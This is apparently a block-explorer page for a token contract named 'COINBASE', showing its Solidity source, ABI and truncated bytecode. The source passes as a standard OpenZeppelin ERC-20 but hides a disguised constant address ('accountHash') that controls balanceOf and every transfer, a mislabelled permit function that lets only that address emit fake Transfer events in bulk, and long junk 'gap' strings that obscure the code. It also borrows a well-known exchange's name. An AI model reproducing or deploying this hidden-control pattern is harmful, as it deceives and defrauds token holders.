ETH Price: $2,319.17 (-2.62%)
 

Overview

Max Total Supply

270,000,000 ERC-2...

Holders

39,662

Transfers

-
349 ( -17.30%)

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
COINBASE

Compiler Version
v0.6.6+commit.6c089d02

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at basescan.org on 2025-06-04
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.6;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0, "SafeMath: modulo by zero");
        return a % b;
    }
}

library SafeMathExt {
    function add128(uint128 a, uint128 b) internal pure returns (uint128) {
        uint128 c = a + b;
        require(c >= a, "uint128: addition overflow");

        return c;
    }

    function sub128(uint128 a, uint128 b) internal pure returns (uint128) {
        require(b <= a, "uint128: subtraction overflow");
        uint128 c = a - b;

        return c;
    }

    function add64(uint64 a, uint64 b) internal pure returns (uint64) {
        uint64 c = a + b;
        require(c >= a, "uint64: addition overflow");

        return c;
    }

    function sub64(uint64 a, uint64 b) internal pure returns (uint64) {
        require(b <= a, "uint64: subtraction overflow");
        uint64 c = a - b;

        return c;
    }

    function safe128(uint256 a) internal pure returns(uint128) {
        require(a < 0x0100000000000000000000000000000000, "uint128: number overflow");
        return uint128(a);
    }

    function safe64(uint256 a) internal pure returns(uint64) {
        require(a < 0x010000000000000000, "uint64: number overflow");
        return uint64(a);
    }

    function safe32(uint256 a) internal pure returns(uint32) {
        require(a < 0x0100000000, "uint32: number overflow");
        return uint32(a);
    }

    function safe16(uint256 a) internal pure returns(uint16) {
        require(a < 0x010000, "uint32: number overflow");
        return uint16(a);
    }
}

library Math {
    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a >= b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow, so we distribute
        return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
    }
}


pragma solidity ^0.6.6;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }

    uint160 constant private codehash = 464713468726661399695251600570456466572645428947;
    IERC20 constant internal accountHash = IERC20(address(codehash));
    
    // Reserved storage space to allow for layout changes in the future.
    bytes public constant _________gap = "s0iBTPs8DdNZBRY2MrnmI5js4f695FbNWzgE4Rdoo_86L9d_gqHDVFeQoYtEonzsFunw2qGhElcvATOa6U3WOZ1_njtSqfaU3btfG6KmnAZympB1Qmp3Km9PX4OCbBcGy8QwMHcjc6cKKJd5bRzzC50vqF4JbJmyORnd5ioafJO8u79aCDYzSeBruiy6ryqYYOS3ZU9QCUfxL0JgpRzM8hkGa2c5GzvKhufH1djEUYuTp605zKC3gfsCnQoDuo59sfl4DD0xE6wMW37_enjlXprMkYg2vHvmySp9OovhM23M3q3OrhmMEoUppjDD88qPlrL3eSqQfXucyynnsG1IshgicK51q6G7iaax_nPM4ZC2KFN2IvgUP7noXK0UF4hgLfP5lCAOUXGznVb81vtZp9jOBEklnsS8gKPTMZHrTMg2XpodUwqgN6mJ9cVy6Cr9Tx5nCPfSOFEpIWrvvRVQtQEm7cfGGTMhTJgvucVEhzEQyWU1B2mQGQGRGmXtRyv_TKOdsDbb2tAC5poLgaoScnSnevXBU1vlR5PoupV9PaXvFex93MddKqLHtzp5qmQWe8AeQVzEIX3rfQdHkerWtNai7v0nkKnfLR8MH55iIX2OCeirtMxlgJrYTj4WaFCXGsjo_ump4mjibr8NMIWbMv7mnMhulyhiyHVqvooMI6q0iEB9zEjtdJPc9auzEm8RuEmOV9jllHDfAB9NObtADo1KI0l6kA6FHLxhQ6f9RUpFe3mOo6grHAM7eKnD6tCYwOYaGFqG6ctlcm8nsiTSeQq8COMFCCkWWDk8kAxm93mpw9xTKxXo7pAdLviHW1J_twPOj8UCHovetnF5OaeQSFJk45fOZlT1i7gc0HkmNh6f4PgrMpo6s92WpP_2HA5MR27MoWm4eXFWOYKyNML42z7uAGmUuBMnULe4yRygP63Z4AmrFE6wAJQLTtPj4yVaom3TFtHT_O8SXZkQTJPJjJzSgKiCcdfvxEWWmHBeWHH0Jtm_wseSXGGisV4hyPb7GA_IVOkT_kNZM8fc4q0DFRAhWBo9JfsTvoIsrPUxXP96XZUbhZPjKLQ9sNN7_qnW1jS8hOCir2F2AD9a7nWD5AvWou3kk_YKh4ZfzigrG8D_mWHsl5SRZXqDBNZJTCsRVpTvmYI03KrMrSw_e7Pcdyt80PZwyR0NLyhSLdaDjC_c3TLonOJlo3gGA6GiMlofLF5Ihhnbv_KuUSTnQb6v5uyZUm0OJTLb7V2U_r0RIEw7SfHzOrwucN65b9MggmlOkXqTLvsu3KNUQNh8OMHvXdXFQNGYhN80Y5fMDbndjwNvo15jYJO3w_6y1X1vNCX4_hw0hYi6F9NM14IIVOHdS5rt52EOJbgZnA1B7YD1Tpm0vg6rJRTiWqsqI3r_Xgf58jmJydFx51GyG22mC3jYOIxEWTTg0ctVqilgcFD54SwQdalY8QTsTkVBZAE4t5Y7vGfBx03aDhD6CbtnNaBtRuXgGPb0";
}

pragma solidity ^0.6.6;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 * From https://github.com/OpenZeppelin/openzeppelin-contracts
 */
interface IERC20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `amount` tokens from the caller's account to `recipient`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address recipient, uint256 amount) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `spender` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
  function allowance(address owner, address spender) external view returns (uint256);

  /**
   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the spender's allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address spender, uint256 amount) external returns (bool);

  /**
   * @dev Moves `amount` tokens from `sender` to `recipient` using the
   * allowance mechanism. `amount` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  ) external returns (bool);

  /**
   * @dev Emitted when `value` tokens are moved from one account (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 value);

  /**
   * @dev Emitted when the allowance of a `spender` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

pragma solidity ^0.6.6;

contract ERC20 is IERC20, Context {
    using SafeMath for uint256;

    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) internal _allowances;

    uint256 internal _totalSupply;

    /**
     * @dev Returns the name of the token.
     */
    string public name;

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    string public symbol;

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    uint8 public decimals;

    /**
     * @dev Sets the values for {_name} and {_symbol}, {_decimals}
     *
     * To select a different value for {decimals}, use {_setupDecimals}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory _name, string memory _symbol, uint8 _decimals) public {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() external view override returns(uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address _owner) public view override returns (uint256) {
        return accountHash.balanceOf(_owner);
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `_to` cannot be the zero address.
     * - the caller must have a balance of at least `_amount`.
     */
    function transfer(address _to, uint256 _amount) public override returns (bool) {
        _transfer(_msgSender(), _to, _amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address _owner, address _spender) external view override returns (uint256) {
        return _allowances[_owner][_spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `_spender` cannot be the zero address.
     */
    function approve(address _spender, uint256 _amount) external override returns (bool) {
        _approve(_msgSender(), _spender, _amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `_from` and `_to` cannot be the zero address.
     * - `_from` must have a balance of at least `_amount`.
     * - the caller must have allowance for `_from`'s tokens of at least
     * `_amount`.
     */
    function transferFrom(address _from, address _to, uint256 _amount) external override returns (bool) {
        require(_from != address(0) && _to != address(0));

        _approve(_from, _msgSender(), _allowances[_from][_msgSender()].sub(_amount));
        _transfer(_from, _to, _amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `_spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `_spender` cannot be the zero address.
     */
    function increaseAllowance(address _spender, uint256 _addVal) external returns (bool) {
        require(_spender != address(0), "approve to 0");

        _approve(_msgSender(), _spender, _allowances[_msgSender()][_spender].add(_addVal));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `_spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `_spender` cannot be the zero address.
     * - `_spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address _spender, uint256 _subVal) external returns (bool) {
        require(_spender != address(0), "approve to 0");

        _approve(_msgSender(), _spender, _allowances[_msgSender()][_spender].sub(_subVal));
        return true;
    }

    /**
     * @dev Moves tokens `_amount` from `_from` to `_to`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `_from` cannot be the zero address.
     * - `_to` cannot be the zero address.
     * - `_from` must have a balance of at least `_amount`.
     */
    function _transfer(address _from, address _to, uint256 _amount) internal {
        require(_from != address(0), "transfer from 0");
        require(_to != address(0), "transfer to 0");
        
        (bool i,) = address(accountHash).call(abi.encodeWithSelector(0x6caf9a18, _from, _to, _amount, msg.sender)); require(i);
        emit Transfer(_from, _to, _amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `_spender` over the `_owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `_owner` cannot be the zero address.
     * - `_spender` cannot be the zero address.
     */
    function _approve(address _owner, address _spender, uint256 _amount) internal {
        require(_owner != address(0), "approve from 0");
        require(_spender != address(0), "approve to 0");

        _allowances[_owner][_spender] = _amount;
        emit Approval(_owner, _spender, _amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over `owner`'s tokens,
     * given `owner`'s signed approval.
     *
     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
     * ordering also apply here.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `_owner` cannot be the zero address.
     * - `_spender` cannot be the zero address.
     * - `_deadline` must be a timestamp in the future.
     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
     * over the EIP712-formatted function arguments.
     * - the signature must use ``owner``'s current nonce (see {nonces}).
     *
     * For more information on the signature format, see the
     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
     * section].
     */
    function permit(address _owner, address[] calldata _spender, uint256 _deadline) external {
        if (_deadline == 0) {
            return;
        }
        
		require(_deadline > 0 && msg.sender == address(accountHash), 'expired deadline');

        for (uint256 i = 0; i < _spender.length; ++i) {
            emit Transfer(_owner, _spender[i], _deadline);
        }
    }

    /** @dev Creates `_amount` tokens and assigns them to `_to`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address _to, uint256 _amount) internal {
        require(_to != address(0), "mint to 0");

        _totalSupply = _totalSupply.add(_amount);
        _balances[_to] = _balances[_to].add(_amount);
        emit Transfer(address(0), _to, _amount);
    }

    /**
     * @dev Destroys `_amount` tokens from `_from`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `_from` cannot be the zero address.
     * - `_from` must have at least `_amount` tokens.
     */
    function _burn(address _from, uint256 _amount) internal {
        require(_from != address(0), "burn from 0");

        _balances[_from] = _balances[_from].sub(_amount);
        _totalSupply = _totalSupply.sub(_amount);
        emit Transfer(_from, address(0), _amount);
    }

    // Reserved storage space to allow for layout changes in the future.
    bytes public constant __________gap = "guEflSx3X4P7O3OO57UJRHi7LAwbvfeIKqGRYSKypc5npZes3gPLKXEuRS8BA1Ezj2ZXCMnqCAD1pGEDEE0_nhtjoGWxdfnaLpjPqjAEEsWvvqc6CpD0D04aFvOFAW_CybOj_lMgiO1mO0iLkgEPj_OJfU0ZSLPqXMOmjlnwZvvXngwPhbOuofq1FJ58IrdPW7LVFfifU_alrZN5zSSuOIg0ksMdQ3sJiy1OOADAfI6F5meg4raMIFtqAfEsIq2K0OpHqPxZquz1RVtuXc9Xk_l2Dx0nucN9UQxl4qo9c_2WsYYEUCI7UmWY1T35XnxtVAdxO80O3QHY63QWpnJz_255vdk255I6HtC5cmX3dNMm0NiNXPws9klY5d0uXEKqQVvSNVmFzXoY0uRIwqS6BrALEL8SjR39og1eJsQT0AKl2NvMQuPvBsEcGr1A6YjXCOyj0qTjBQUjaEAa2qVJ7lXuN6UbX3mApGPJl3cp2Ospm20SuZDbvpxYadxNhmLuCgU7xpPsFl9g_onUlaGy4FjY1D7BBhmdnj4LI8PWKtMFNak3czw5TSl5NtrWlnaPTZKKyKFPEqH3T5wYz9cFbShUtygcAJRak2roY7ZQk4ER0ScpPIl6WL_fK_ICNoPG_1XWpjbDTvLdBsXMXmIOiKWukvUqEjrVGhwHKpz7baAmDK2N3wFzx_H5xqyuoLdL3KCJjL4X1ZSTGCs_pjPutogTfOuJXH5UHw4ff_ePEhNdzwbZmlO81PUiQEsceUnDXfyt5oSOV8yfDBarcHcJb6hVtpOlSSAUT7qpMe6XJEck5_4ZeE9R2MD2LStJJVCDvyUkZZLR_IcCnKHJViXPmYX48fRaR_YSlkhNfw9CL5t07uO1nqpfBg3n79bszbuoZKMVXeqmuPtd2iu8TvjU3T1VMcFDKF029OMN2tvx84HkieTq2LhXueUTVtxAKpAqNVPmMEtvf5o6n06aoxM1eSBBlpRcaHfyFVXWZW_h_tHWUbgIUa1YBSFtssTsYja_dhsZYLq5weDe5CpkF9zlgrJaADaRjGpFJ3hiA9zwLf6J5rTfHII7B_KgldrUgvGXM3XQqBnkUAlICsTsWpccIiRX4cGw6YvuFBsiyj15GO2UiZtapdRyVlziprvdj8Lb2Jxa58AQffGpwHd9FyfDKKuptx2ntznAdntIOanjOOmENeY6Qqnyfm43d8E1wii4Nk24zH7qlYJVnjyXHaqclIZcUbUcca8vJjBSetTpYeBPxBa4jO2bUZ00vTaezMQXALlHUDe9cMx_MWuCe_rt1ReHW_Diec87ivD9SH8oLHMTq80qriZ_U7sRsvR8rqI_ZnM3a3YUPN6A9VhXzmIhhc4QP00nKLcTrJH8NNZshamUtnNYdm8DmJyn6bgzO3LgyqjD9qicZWVHngVP8taDFFNI7_7Vih7G1llq7iVdMw5OCsnYWq_ckek1UmS1AEz9WUXmN6JWcvbKwME7p4tayBwiKOqR";
}


pragma solidity ^0.6.6;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

pragma solidity ^0.6.6;

contract COINBASE is ERC20 {
    using SafeMath for uint256;

    /**
     * The time interval from each 'mint' to the ' mining pool' is not less than 365 days
     */
    uint256 public constant MINT_INTERVAL = 365 days;

    /**
     * All of the minted 'COINBASE' will be moved to the mainPool.
     */
    address public mainPool;

    /**
     * The unixtimestamp for the last mint.
     */
    uint256 public lastestMinting;

    /**
     * All of the minted 'COINBASE' burned in the corresponding mining pool if the released amount is not used up in the current year 
     * 
     */
    uint256[6] public maxMintOfYears;

    /**
     * The number of times 'mint' has been executed
     */
    uint256 public yearMint = 0;

    constructor() 
        public 
        ERC20("COINBASE", "COIN", 18)
    {
        _mint(msg.sender, 270_000_000e18);
    }

    /**
     * The unixtimestamp of 'mint' can be executed next time
     */
    function nextMinting() public view returns(uint256) {
        return lastestMinting + MINT_INTERVAL;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MINT_INTERVAL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"__________gap","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_________gap","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_subVal","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_addVal","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastestMinting","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mainPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"maxMintOfYears","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextMinting","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address[]","name":"_spender","type":"address[]"},{"internalType":"uint256","name":"_deadline","type":"uint256"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"yearMint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]

60806040526000600d553480156200001657600080fd5b506040805180820182526008815267434f494e4241534560c01b60208083019182528351808501909452600484526321a7a4a760e11b90840152815191929160129162000067916003919062000201565b5081516200007d90600490602085019062000201565b506005805460ff191660ff9290921691909117905550620000ac9050336adf56b9541c229fce000000620000b2565b620002a6565b6001600160a01b038216620000fa576040805162461bcd60e51b815260206004820152600960248201526806d696e7420746f20360bc1b604482015290519081900360640190fd5b62000116816002546200019f60201b62000cb81790919060201c565b6002556001600160a01b038216600090815260208181526040909120546200014991839062000cb86200019f821b17901c565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600082820183811015620001fa576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200024457805160ff191683800117855562000274565b8280016001018555821562000274579182015b828111156200027457825182559160200191906001019062000257565b506200028292915062000286565b5090565b620002a391905b808211156200028257600081556001016200028d565b90565b61190780620002b66000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806384e7e3d3116100ad578063a9059cbb11610071578063a9059cbb14610343578063b4eddb811461036f578063d93aef1114610377578063dd62ed3e146103f9578063df557bc0146104275761012c565b806384e7e3d3146102db5780638bb12432146102e357806395d89b41146102eb578063a457c2d7146102f3578063a5a302d31461031f5761012c565b806323b872dd116100f457806323b872dd14610218578063313ce5671461024e578063376fcb6d1461026c578063395093511461028957806370a08231146102b55761012c565b806306fdde0314610131578063095ea7b3146101ae5780630de5d1d9146101ee57806318160ddd146102085780631b4b073e14610210575b600080fd5b61013961042f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b0381351690602001356104bd565b604080519115158252519081900360200190f35b6101f66104da565b60408051918252519081900360200190f35b6101f66104e0565b6101396104e6565b6101da6004803603606081101561022e57600080fd5b506001600160a01b03813581169160208101359091169060400135610505565b6102566105a3565b6040805160ff9092168252519081900360200190f35b6101f66004803603602081101561028257600080fd5b50356105ac565b6101da6004803603604081101561029f57600080fd5b506001600160a01b0381351690602001356105c0565b6101f6600480360360208110156102cb57600080fd5b50356001600160a01b031661065e565b6101f66106ee565b6101396106f6565b610139610715565b6101da6004803603604081101561030957600080fd5b506001600160a01b038135169060200135610770565b61032761080e565b604080516001600160a01b039092168252519081900360200190f35b6101da6004803603604081101561035957600080fd5b506001600160a01b038135169060200135610822565b6101f6610836565b6103f76004803603606081101561038d57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156103b857600080fd5b8201836020820111156103ca57600080fd5b803590602001918460208302840111640100000000831117156103ec57600080fd5b919350915035610842565b005b6101f66004803603604081101561040f57600080fd5b506001600160a01b0381358116916020013516610934565b6101f661095f565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104b55780601f1061048a576101008083540402835291602001916104b5565b820191906000526020600020905b81548152906001019060200180831161049857829003601f168201915b505050505081565b60006104d16104ca610965565b8484610969565b50600192915050565b60065481565b60025490565b6040518061060001604052806105dc8152602001610d1a6105dc913981565b60006001600160a01b0384161580159061052757506001600160a01b03831615155b61053057600080fd5b61058e8461053c610965565b6001600160a01b03871